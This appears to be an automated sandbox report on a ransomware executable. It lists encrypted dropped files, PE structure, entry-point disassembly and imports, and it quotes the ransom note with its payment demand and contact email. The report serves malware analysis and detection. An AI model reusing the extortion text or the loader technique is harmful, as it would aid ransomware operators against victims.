SSDEEP:	1536:6yv5mEdazZyKYu7xcOuWiB3zn8nixc9IGxR+eywB6WRiPQGxEDOKtzqaiMplpB/K:VdgYKYoxu/q9lywBQ4HOKqMj/nwwdDu
MD5:	9D6EA2F8127303C41144097B77D72D51
SHA1:	0863B6019EF1712D9CE0C05D33FC72D44D4BCC8C
SHA-256:	FBC601E94B0D8B7033A3FB71480706C192485F27D745F5CDD69A88EA094C3DB6
SHA-512:	B7C50C07477D1D2FE72D859496103933BACE3B0A212426159D49C3A09750B60A1B9AA9BBDF1B2613D58D4CEC07FB89DA9DA531C2D6443F5BBB666769D6EC7B80
Malicious:	true
Preview:	/! Cz..Z..IH....m..&.@.j..Z:.....4.._...1..cr......t.-/.......v.r+....t.y.^V.xT..^.G..U.i.wl&9n:MRo.K.......r..I8....T....x..xH.l\|..0.:F.V....A..].@..X...5.p.R......u..`.4Es.>~.>.\.X..c..0.......+r..%ew1..v&..39..Z..)E...3......#}h.9.f.J+.....?.p.......w..p...g.s....Q....c...q8...$.......J9.....d.ys....$9..w..e.8..OGH.K..$..JW..J.\A..\|.`..$.......A..n...:=.o.Xc..Er.T..K.T...v...-g!.<d.'V..........q.s..$.6F>...E%..u.?Fny.'.avC.G8"......ak..2rD6i.mv...........gf..!...M..g.7.......5. ....E.Q....u..mI.........`....t...>.jG)Q.Tr....7..[...Q...)../.(.b>#.H...D..i..1.9>@N..a5..k..&.?..A..u..s.++.....U..?yQ..u..s.(..C.q.#>a..&hs.#V.....K....y.w(f....j...JqA....X.$a.X\...~.L.......hJ.>}......\|i>.....wV.C=.&.oI.l.2l].Bh.W....;......u1C....6.3J2K.\|v.....}.k...]a(..@..k,...H.>.J.h._..H4,x@w...9.=....F.....Y.....ri}.]R=]<.v.....h.....g......F....,.kb00..?.:.Rv.[i._jOA....&..........D...U.L.2.Uy.E.P...\.,..w."qS./.d...Vn

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\Q8X2NUFH\PreSignInSettingsConfig[1].json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	74526
Entropy (8bit):	7.99772535606763
Encrypted:	true
SSDEEP:	1536:RgH13xJElkymRtd5gX8de/c5Ufu3IYCon0V2VNM6+3Of/nKeCwn:RgHXJEOy0PWXZqUiI/V2VwrPw
MD5:	6A74BFC199640BC25B92DB487029D988
SHA1:	F1B1055FE7E857CFF4EC1FD448C1ED3F0AF87862
SHA-256:	FEF126C668C1DFC55A482FE4A9E4CAFBD5E742B4CE4017CC82441CF6CD243553
SHA-512:	138DF41577E440EFEDA92CD4DEF0CFAEEF6CDA668973203D31870588329D101A42EFC5EE2C80E8E8AD422AB3B0D75D8947DB91A82309434313CD5C80F6BC4EAA
Malicious:	true
Preview:	{"ram:..a....l.X.l.:lm..s.\9.h...:k.............0.]-...7.[2.a:1.G.!....C..0.bb.>.?....o..GGUU..8.....i......!..$dI........k...G.{..N..\...k:z..RP2S....]..Z...DZ.\|.v)P:7.s_........=BF.H....:d.N.....C8M.....%..4$..4..x...#...Nj..vi .......(.)......b..!....Q.&.8......O.T...C..5w.....Dv[[.`klK...@-......n...}........:...Sk...u~....3TE...*;O.O.C...o..G./.U.k.2!o..m..h<...-.\..'a..w...X..\..Ge0_......x]t.%<.+...qgc..\|{.,aB$..."..#.."j..</..].....mM...Qt.X........>L..pg..t.gE<L..!.2 ?.;..B...R..f4'<... 6.......%=.9..F..2D...IO8.Y..N...4..=?....z.!./.7.k.$..o.RQ..`x...a7.U..(\..:..P.v...j-.X.!....D...-........xBv...s........$.P.E.Ybec...-<...e.[.....;c.6hT.'rM.8.Z....q0`..&HO.oF...k.J.{p'..e..'..q&.(.....N.'`^Ki.?._,.Pv.gX..0..Cy..N.R....7.:......\|.T=.Q.....e1.J........E..^.?.e.y..Vw........%....\..H.7.p...]..n..c...q.M...D.sw....i....&..f.a.$.O.0....l.Q....SZs.:....T.!qw.'.....(..7......`M8.\|.;Mv'............4....0.....l..<.,y.:6^.......

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\Q8X2NUFH\Windows[1].json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.701223827520542
Encrypted:	false
SSDEEP:	12:YW5Cdzht4qY55/D+eKn4G8raqZtx7ouyOXqbp9YRzSBo4vc8xMmhNu2cHboWgtKS:YSgvY5VOTloouyOVBUK7HboJtKVtkbD
MD5:	7F719440EDAF8C0FF6C81DF156A8AA51
SHA1:	7A73AF9C3DF0534A59E8A20DDFE6685DCA8D42D8
SHA-256:	3CBE739767AA18227F02A8DBF7CE0C8941BDAEFB346B21AF39F0A71D499ECC00
SHA-512:	CFD6EE653117CCCAC7E86A103AA3AFEB46D85F4C0E539DB87EA48D233A7A34010AE099A1E639675EBE647ACDBA138DF45FFC14E62CBFEC14D8A72BA48F7C612A
Malicious:	false
Preview:	{"ser..1..lk\|&...Dw..R.tH,h..'.h......9.)sXH...cg.S.&r......Vl......>.9KU...y.l.Y[,.1.s..-..I.\|r......g.Tm.....@".RQoj:O.HV:...g..7.v.[.HI......i.#3..m...^...}...~P.....10.....1\|.WP.r..T.Q.`Z...%.....Ic'^...1r..$.......PV@..6N.j....{.2,`.....ZP..OO...i..$.......j....E....B=...u.t~..,M$6..k....y..?.k.... m...G.@.9p....1^Ao%.7.rO,.h..e.N...v.w....o.L...-#.r.r;.r.rKt.]..S]..,.O&.c.6W...p.-/.`.........!.4...[a..#.]o..(S...e...#.Pj ...7#.......;.v.....s...]..B>>9...w.?.@....1..g.Fy..2.7.M.OqM.!!..k#...H7P..r.1.....k..c).<"."..$./...K.b,h..s..-.`..]...=).=.5..j{.Xop~xj...-/. ......2.i.:.]Y....m.Rb.v{..%.w..<R@m..C$6....2..KH...r7.{u2q\|\|.X.x..I.5"..$D.uYA)...>...mW."4U..~d3x.e..Y>..... ..~.y.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\Q8X2NUFH\k1[1].rar.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.826861525869076
Encrypted:	false
SSDEEP:	24:fM6UY9jON4wKCPc1NXlmlh6LSNhgZ51abA9TT0rRV/B0GkzkbD:fM6xs9czX/vQpjJ4CD
MD5:	9F1453ADD672BD9E3D802DF73F6AB5BA
SHA1:	97A84052EABEEFC6943FE63E4F168D030B27F82F
SHA-256:	92E4B6A88387D9670A2ABF3AE27941FDF98B18410B91E0A95ED662DBE399A2A8
SHA-512:	5E1C9C342CE19395CE6AE90CFFCC8322FA3F29675018C7FBC0297BE84D8B90A33BF33C758E1D8D2AE066E437A5648A1B302934EC5D081ECB97A1702FEA90E1F5
Malicious:	false
Preview:	<?xmlT.5..C...,.N..v^........X<....H$r...e.'.])&.h.qb.r...W...5E.#>E..;u.....2.$.O..h...fj/K.... N(...f.{.X.H.A?.azW.3..?%F..c>;.pP..jg.V...MHW.".)gE.>l.B..%.?q..8(.......*.gq0..?.>....>.!...&...z...c.{...`R.....E.9M;... .N$>..l.#.......T..C.<..mw...$..E...+....F.b..A.........Q.nO...76...`N.F.s.`8.y.......`.....jb^.z..2C/...\|......j,.k$...>.........)..w..}qt..#aQ{x7..}..P4......B.~.Oa ]..N...8.q(.....y.m...S.......=9..z.A[.n...!..u.m....7P.k>..}M>..O.#6....\|.~XG.G.X.;..ab\|.-[2.. ..@.t......5...'..i....&.x..u....Z.....O_.n.....S..G..>-.-.....p.ft......x.<.\X..i..iM<.eQq....S9~...A...L..Z...+..e..TI#\.{.(^....\|%p..~.p.3e.H.+.m.V...6...a.k......`.7..,.P.!".vZ4..#(..bz..h...c..t>qp4.6..A.....uA..f.F4n4Q...:.kq5.......u.....a"UPT..{..[UE.<...TE...O..I.J......N.6../#V...`..P.(3G....#......b.-...._u=..........E....E..+....j\|@O[.........k6...W3.N..bjX.0U.....\|!..z.4I...[......}..$h..lI.(..9<.X.4........s..a.6v.....Xv6@......-.V...\-[J...59.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.826861525869076
Encrypted:	false
SSDEEP:	24:fM6UY9jON4wKCPc1NXlmlh6LSNhgZ51abA9TT0rRV/B0GkzkbD:fM6xs9czX/vQpjJ4CD
MD5:	9F1453ADD672BD9E3D802DF73F6AB5BA
SHA1:	97A84052EABEEFC6943FE63E4F168D030B27F82F
SHA-256:	92E4B6A88387D9670A2ABF3AE27941FDF98B18410B91E0A95ED662DBE399A2A8
SHA-512:	5E1C9C342CE19395CE6AE90CFFCC8322FA3F29675018C7FBC0297BE84D8B90A33BF33C758E1D8D2AE066E437A5648A1B302934EC5D081ECB97A1702FEA90E1F5
Malicious:	false
Preview:	<?xmlT.5..C...,.N..v^........X<....H$r...e.'.])&.h.qb.r...W...5E.#>E..;u.....2.$.O..h...fj/K.... N(...f.{.X.H.A?.azW.3..?%F..c>;.pP..jg.V...MHW.".)gE.>l.B..%.?q..8(.......*.gq0..?.>....>.!...&...z...c.{...`R.....E.9M;... .N$>..l.#.......T..C.<..mw...$..E...+....F.b..A.........Q.nO...76...`N.F.s.`8.y.......`.....jb^.z..2C/...\|......j,.k$...>.........)..w..}qt..#aQ{x7..}..P4......B.~.Oa ]..N...8.q(.....y.m...S.......=9..z.A[.n...!..u.m....7P.k>..}M>..O.#6....\|.~XG.G.X.;..ab\|.-[2.. ..@.t......5...'..i....&.x..u....Z.....O_.n.....S..G..>-.-.....p.ft......x.<.\X..i..iM<.eQq....S9~...A...L..Z...+..e..TI#\.{.(^....\|%p..~.p.3e.H.+.m.V...6...a.k......`.7..,.P.!".vZ4..#(..bz..h...c..t>qp4.6..A.....uA..f.F4n4Q...:.kq5.......u.....a"UPT..{..[UE.<...TE...O..I.J......N.6../#V...`..P.(3G....#......b.-...._u=..........E....E..+....j\|@O[.........k6...W3.N..bjX.0U.....\|!..z.4I...[......}..$h..lI.(..9<.X.4........s..a.6v.....Xv6@......-.V...\-[J...59.

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.877895377621814
Encrypted:	false
SSDEEP:	24:kcJUXRr8hv1j4E71iyGJBhPX6dlvmJwFvnHXwy3Ja6C2xtlEI+x4rEpqvWzSrzTy:ggvjZGJzP0d3H3J287EqEpq+zSr8FD
MD5:	AE99BDDAEF31052B348CBB96A939B1A0
SHA1:	084223FF9476807EE83B7F69A05C2AB2682E71C4
SHA-256:	7D0EDA12149D01C05B423249638CBB9065F6A4523C7E8C927D29DA64802B5922
SHA-512:	B8148465596D302029C765B2FAEA0E6C5C53D9D21E9D6F7162CA458B9AA2C7FF6E4793D603E3AAC69ED4A07885B82E2B0BF31EBEB150EFE049F7F128DD6DF74E
Malicious:	false
Preview:	L....L$..0.`.....RJ...,g.M&...\|rF.-T..g.:...._....N.['.i.?../.:x._l....9."..5..9D.C3.......K.KJ..;.E.o......Y.X.x7zG.i&.<.E...R.....e.>.~<....q....eGS........'F...Q.k..(/....p7.(.P>$.zR.\|...l..-.F.P.........\|......].RS......9f.....-.......:._.J.5.C5C.!G~.i.".... .7.].\|..Z.).e.\|.[.I.'.d\..q.0...=..v..R.....E..~..H.Z...`.s!....F.....u...J..............XP.\.a..a.6...6.XMs.~..!K...AJ..I.]...s.E3.i.........'Q.q..d..@..Gj+k.N.<....<\|U..D..?...).d)...J....e.P..h.k....0.J.z.L...;.#.C..k.%..M.b.Z..-.u.U>.w'....?%...R.w .<..Po.1.0.Z.B...@V<..?`{.../........h...d.`gn.O..7C...5@...Q...o.G..K.LE...r.]!..b)_...b.e...v.Vd:.).....K..#~0):.{E.tj..5..f. m..2.R.B......4m.H.-........2XH...>.....b?=...v\|j.z"..........&a..._g.lE.{9.f.A...uK_.}a4u^...... #];2......6..r.. .......{1o.3.c....)#h...l.........+.n....t..!}...^.Tv.........%..S..s.8....+tG.3..n.(:..%....Y\|..N....CC........ ......:.v..}`...J......T..p...).&....b.0;.@. .6..@:....*....s.L.Gn@...t..i

C:\Users\user\SendTo\Desktop (create shortcut).DeskLink.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.167678583486498
Encrypted:	false
SSDEEP:	6:6PrTSVwZTrqgoqF1+r7wRSKX+lLLCDduACAS3uPebugcii96Z:gTSVwZT2g3ekRd+QDdu+yuPrgcii9a
MD5:	5A44AF3818698FB5017DB3D5EF3F9551
SHA1:	E2DB071E8E3DCA31761885643277BC96B2145708
SHA-256:	6209E04053ADFC0B678ABF5061501246F01D914C6C7CCB421576B3AA0C242C72
SHA-512:	2444032661AD56EC4EFF353A0FEAE1938A898CD9A80860EC62952EF3606556C5B646A1123289A82B727D8172DE26C58613C2CA2792C4F0EAEF4ACAE2629FFA92
Malicious:	false
Preview:	desktn...q2g...oqYT1GK0..;.5..}d. 6....2\......J.i..V....i.Y..b.......L.m(..... _.....P...G:%..~'x1.......S..nL..!fR1.-0.r.-..Pj-*:..A@.}.`...''.......m.P2..2....L._.s-.3...F2Kc..n7...-..-.............6jf\|./<...p...S.6...aV.\|...7.....Z..e.u..:5..K.y..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\_readme.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.868442063946473
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWj6mFRqrl3W4kA+GT/kF5M2/kAApJxKu:WZHfv0p6Wj6PFWrDGT0f/kjv
MD5:	87C541F5E2399E44C13B116E21FFBD33
SHA1:	A4C33188BFA13C6567CE3310711AD0FA04BC82C5
SHA-256:	D9AE4AB8F748402099F3FC5483FDAC782658A069335F141B45A5D87CC43B71F6
SHA-512:	995F17A1D4DE4A028A4BFDAA9CB9A8F7E08049AEB8B5A59043C67F01E22DAFBEB10EB5EE15E1E43C1B3AC8194CBE303DA05A5BFFDC7A8CA7247391CB720A219D
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-NdDG3HIUZp..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.2960807993953605
Encrypted:	false
SSDEEP:	6144:n41fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+34mBMZJh1Vjn:41/YCW2AoQ0Nit4wMHrVz
MD5:	8FDBDFE96D277EEE1D9FC31C0F42DDC1
SHA1:	98BA9F65BA1C14CEECE05B1FED0B395CBDFE4D4C
SHA-256:	408F4D539E463DD8661EDED9F818D7EA7D34CF48EC2C681DF4434A54EDF00BF9
SHA-512:	B94DBB62221A04712A0DBC71006EB7629A24740B39F8B6FDD41AFF60DE41994AB67385A723D3ADCEC1F2CDF37419D7575A1BC0D2C41862F60EAFC269933A7835
Malicious:	false
Preview:	regfH...H....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm&j.C................................................................................................................................................................................................................................................................................................................................................o..w........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.868442063946473
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWj6mFRqrl3W4kA+GT/kF5M2/kAApJxKu:WZHfv0p6Wj6PFWrDGT0f/kjv
MD5:	87C541F5E2399E44C13B116E21FFBD33
SHA1:	A4C33188BFA13C6567CE3310711AD0FA04BC82C5
SHA-256:	D9AE4AB8F748402099F3FC5483FDAC782658A069335F141B45A5D87CC43B71F6
SHA-512:	995F17A1D4DE4A028A4BFDAA9CB9A8F7E08049AEB8B5A59043C67F01E22DAFBEB10EB5EE15E1E43C1B3AC8194CBE303DA05A5BFFDC7A8CA7247391CB720A219D
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-NdDG3HIUZp..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.764755910023494
TrID:	Win32 Executable (generic) a (10002005/4) 99.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File size:	812'032 bytes
MD5:	a462cc4bbcfc709d15c578f9eaa6c09f
SHA1:	2f541d1d12d46b5e7ffc344d350ffb2acdc9c539
SHA256:	a77599bea195b9f858ce2d25943da1eb6552ceb843ec8af67a41ef2c7e17e7db
SHA512:	917c5406b7630e47bd6946033f68e82e25a91b7441bf71a0ba9ed79290b6eedf8560bb17f512fa56324bcd01f9367fb6059d619bb979c717bbcacdbfd8de5db5
SSDEEP:	12288:OzVNuPCj1HtSovtzuIL46X8qWyt/q5BxLi1AigQWtTmBeo/bpOGfSb7NUuDanPU:ra5NRf4u8qWy4pn1lceobpbfS9Ueans
TLSH:	84050220B791D036F5B712F8597A93ACF92E3EA15B2450CB62D92EDE56306D0EC3131B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..=.d.n.d.n.d.n.6Kn.d.n.6]nod.n'..n.d.n.d.n.d.n.6Zn6d.n.6Jn.d.n.6On.d.nRich.d.n........PE..L...`Xs_...........................

File Icon


Icon Hash:	27dcac9eee276d22

Static PE Info

General

Entrypoint:	0x4ed000
Entrypoint Section:	s`Xuj
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F735860 [Tue Sep 29 15:53:04 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2ac742258504eaabd5a3bfa9d9f95939

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 5641766Ch
mov dword ptr [ebp-44h], 652E4F72h
mov dword ptr [ebp-40h], 00006578h
mov dword ptr [ebp-3Ch], 00000000h
call 00007FBDA91798B5h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFF1D58Fh
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007FBDA91799FEh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007FBDA9179904h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007FBDA91798FBh

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24f14	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe3000	0x9af8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x12f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7d88	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2a0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x24ef2	0x25000	524ae426d2e5061f78e0cbd96cff1de3	False	0.41546795819256754	SysEx File - Fostex	6.145950667550353	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x26000	0xbc1e0	0x93200	3f972da338dbca77241d722f2c14ce1c	False	0.9879659621920136	data	7.984213930071179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xe3000	0x9af8	0x9c00	faa8448c769af0163caae9b077cd9d70	False	0.6322365785256411	data	6.351569447479972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
s`Xuj	0xed000	0x5000	0x4200	4442931c26fcfdeb8539cb192e706cee	False	0.7775804924242424	data	6.934563810995938	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
HEPIYIWENIMOMACAMAKA	0xea628	0xee8	ASCII text, with very long lines (3816), with no line terminators	Uzbek	Italy	0.59958071278826
RIWEZOZA	0xe9f38	0x6f0	ASCII text, with very long lines (1776), with no line terminators	Uzbek	Italy	0.6137387387387387
ZUKAMAJIMERO	0xeb510	0xd96	ASCII text, with very long lines (3478), with no line terminators	Uzbek	Italy	0.5960322024151812
RT_ICON	0xe34f0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Uzbek	Italy	0.5166967509025271
RT_ICON	0xe3d98	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Uzbek	Italy	0.5887096774193549
RT_ICON	0xe4460	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Uzbek	Italy	0.5765895953757225
RT_ICON	0xe49c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Uzbek	Italy	0.6106941838649156
RT_ICON	0xe5a70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Uzbek	Italy	0.5868852459016394
RT_ICON	0xe63f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Uzbek	Italy	0.6320921985815603
RT_ICON	0xe68c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Uzbek	Italy	0.7488589211618257
RT_ICON	0xe8e68	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Uzbek	Italy	0.8306754221388368
RT_STRING	0xec428	0xa8	data	Uzbek	Italy	0.6666666666666666
RT_STRING	0xec4d0	0x2ec	data	Uzbek	Italy	0.46390374331550804
RT_STRING	0xec7c0	0x15e	data	Uzbek	Italy	0.5457142857142857
RT_STRING	0xec920	0x1d6	data	Uzbek	Italy	0.5127659574468085
RT_ACCELERATOR	0xec2c8	0x30	data	Uzbek	Italy	0.9791666666666666
RT_ACCELERATOR	0xec2a8	0x20	data	Uzbek	Italy	1.09375
RT_GROUP_ICON	0xe9f10	0x22	data	Uzbek	Italy	1.0294117647058822
RT_GROUP_ICON	0xe6860	0x5a	data	Uzbek	Italy	0.7222222222222222
RT_VERSION	0xec2f8	0x130	data	Uzbek	Italy	0.5953947368421053

Imports

DLL

Import

KERNEL32.dll

LoadLibraryA, GetPrivateProfileIntA, SetLocaleInfoA, FindNextVolumeW, GetNamedPipeHandleStateA, LocalFileTimeToFileTime, EnumResourceTypesW, EnumResourceNamesW, FillConsoleOutputCharacterA, GetTimeZoneInformation, TerminateProcess, SetEvent, FindNextFileA, GetCompressedFileSizeA, CopyFileExW, BuildCommDCBW, VerifyVersionInfoA, FreeResource, SetLastError, GetVersionExW, ReadConsoleOutputCharacterA, SetDefaultCommConfigW, VerLanguageNameA, GetCommConfig, WritePrivateProfileStructW, FreeEnvironmentStringsA, CreateTimerQueue, FindNextVolumeMountPointA, ResetWriteWatch, WriteConsoleInputA, SetComputerNameExA, AddAtomW, InitAtomTable, GetThreadPriority, CallNamedPipeA, GetDriveTypeW, BuildCommDCBAndTimeoutsA, VirtualProtect, LoadLibraryW, GlobalAlloc, VerifyVersionInfoW, InterlockedExchange, FindFirstChangeNotificationA, SearchPathW, FormatMessageA, SetDllDirectoryW, GetModuleHandleA, WritePrivateProfileStringA, GetUserDefaultLCID, TerminateThread, GlobalUnfix, GetStartupInfoW, GetSystemWow64DirectoryW, CopyFileA, GetLastError, SetConsoleCursorInfo, SetCalendarInfoW, DebugBreak, FreeLibraryAndExitThread, GetModuleFileNameA, GetConsoleAliasExesLengthA, SetConsoleScreenBufferSize, WaitForDebugEvent, InterlockedExchangeAdd, GetOEMCP, 